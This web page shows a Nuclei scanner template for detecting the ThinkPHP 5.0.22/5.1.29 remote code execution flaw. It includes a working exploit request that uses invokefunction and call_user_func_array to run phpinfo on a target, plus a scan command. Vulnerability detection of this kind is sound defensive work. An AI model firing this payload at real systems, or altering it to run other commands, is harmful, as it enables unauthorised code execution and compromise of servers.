Skip to content

ThinkPHP - Remote Code Execution

ID: thinkphp-5022-rce

Severity: critical

Author: dr_set

Tags: thinkphp,rce

ThinkPHP 5.0.22 and 5.1.29 are susceptible to remote code execution if the website doesn’t have mandatory routing enabled, which is the default setting. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

id: thinkphp-5022-rce
info:
name: ThinkPHP - Remote Code Execution
author: dr_set
severity: critical
description: ThinkPHP 5.0.22 and 5.1.29 are susceptible to remote code execution if the website doesn't have mandatory routing enabled, which is the default setting. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
reference: https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/5-rce
metadata:
max-request: 1
tags: thinkphp,rce
http:
- method: GET
path:
- "{{BaseURL}}?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
matchers-condition: and
matchers:
- type: word
words:
- "PHP Extension"
- "PHP Version"
- "ThinkPHP"
condition: and
- type: status
status:
- 200
# digest: 4a0a004730450220634c04816e8da5f83a774fef6d40a0372adbc557424f5624289d49982a0ac424022100db36db032bdf286673a54083c5236ba2824e8a2ba8b7e672f727db8b024c1f09:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/thinkphp/thinkphp-5022-rce.yaml"

View on Github